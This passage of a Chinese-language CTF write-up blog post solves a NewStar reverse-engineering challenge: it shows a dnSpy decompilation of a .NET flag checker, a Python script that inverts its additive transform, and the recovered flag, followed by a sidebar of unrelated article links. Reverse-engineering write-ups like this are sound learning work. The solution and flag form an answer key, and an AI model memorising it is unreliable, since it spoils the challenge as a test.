    28. print(flag)

    C?C++

    .net 的程序用dnSpy打开,并不复杂

    1. namespace ConsoleApp1
    2. {
    3. // Token: 0x02000002 RID: 2
    4. internal class Program
    5. {
    6. // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    7. private static void Main(string[] args)
    8. {
    9. int num = 35;
    10. int[] array = new int[]
    11. {
    12. 68,
    13. 75,
    14. 66,
    15. 72,
    16. 99,
    17. 19,
    18. 19,
    19. 78,
    20. 83,
    21. 74,
    22. 91,
    23. 86,
    24. 35,
    25. 39,
    26. 77,
    27. 85,
    28. 44,
    29. 89,
    30. 47,
    31. 92,
    32. 49,
    33. 88,
    34. 48,
    35. 91,
    36. 88,
    37. 102,
    38. 105,
    39. 51,
    40. 76,
    41. 115,
    42. -124,
    43. 125,
    44. 79,
    45. 122,
    46. -103
    47. };
    48. char[] array2 = new char[35];
    49. int[] array3 = new int[35];
    50. Console.Write("Input your flag: ");
    51. string text = Console.ReadLine();
    52. for (int i = 0; i < text.Length; i++)
    53. {
    54. array2[i] = text[i];
    55. }
    56. string text2 = "NEWSTAR";
    57. for (int j = 0; j < num; j++)
    58. {
    59. char[] array4 = array2;
    60. int num2 = j;
    61. array4[num2] += (char)j;
    62. char[] array5 = array2;
    63. int num3 = j;
    64. array5[num3] -= ' ';
    65. }
    66. for (int k = 0; k < 7; k++)
    67. {
    68. char[] array6 = array2;
    69. int num4 = k;
    70. array6[num4] += (char)(k ^ (int)(-(int)(text2[k] % '\u0004')));
    71. char[] array7 = array2;
    72. int num5 = k + 7;
    73. array7[num5] += text2[k] % '\u0005';
    74. char[] array8 = array2;
    75. int num6 = k + 14;
    76. array8[num6] += (char)(2 * k);
    77. char[] array9 = array2;
    78. int num7 = k + 21;
    79. array9[num7] += (char)(k ^ 2);
    80. char[] array10 = array2;
    81. int num8 = k + 28;
    82. array10[num8] += text2[k] / '\u0005' + '\n';
    83. }
    84. for (int l = 0; l < num; l++)
    85. {
    86. int num9 = (int)array2[l];
    87. array3[l] = num9;
    88. }
    89. for (int m = 0; m < 35; m++)
    90. {
    91. bool flag = m == 34 && array3[m] == array[m];
    92. if (flag)
    93. {
    94. Console.WriteLine("Right!");
    95. }
    96. bool flag2 = array3[m] == array[m];
    97. if (!flag2)
    98. {
    99. Console.WriteLine("Wrong!");
    100. break;
    101. }
    102. }
    103. }
    104. }
    105. }
    1. c=[68,75,66,72,99,19,19,78,83,74,91,86,35,39,77,85,44,89,47,92,49,88,48,91,88,102,105,51,76,115,-124,125,79,122,-103]
    2. key = b"NEWSTAR"
    3. def encrypt(flag):
    4. flag = [v+i-0x20 for i,v in enumerate(flag)]
    5. for i in range(7):
    6. flag[i] += (i^(-(key[i]%4)))&0xff
    7. flag[i+7] += key[i]%5
    8. flag[i+14] += 2*i
    9. flag[i+21] += (i^2)&0xff
    10. flag[i+28] += key[i]//5 + 10
    11. def decrypt(flag):
    12. for i in range(7):
    13. flag[i] -= (i^(-(key[i]%4)))&0xff
    14. flag[i+7] -= key[i]%5
    15. flag[i+14] -= 2*i
    16. flag[i+21] -= (i^2)&0xff
    17. flag[i+28] -= key[i]//5 + 10
    18. flag = [(v-i+0x20)&0xff for i,v in enumerate(flag)]
    19. return flag
    20. print(bytes(decrypt(c)))
    21. #flag{45dg_ng78_d8b5_1a7d_gh47_kd5b}

    最后一题没弄成

  • 相关阅读:
    【移花接木】Maven项目结构调整解决方案
    移动端H5封装一个 ScrollList 横向滚动列表组件,实现向左滑动
    一种灵活的智能合约协作方式
    企业为什么难创新?5个常见的创新障碍
    JSON和全局异常处理
    Linux | Centos下几种CPU查看使用率的常用命令
    前缀和与差分
    【Java】多态中调用成员的特点
    NanoPC-T4 RK3399:移植U-Boot
    LVGL界面卡顿优化总结
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/133914416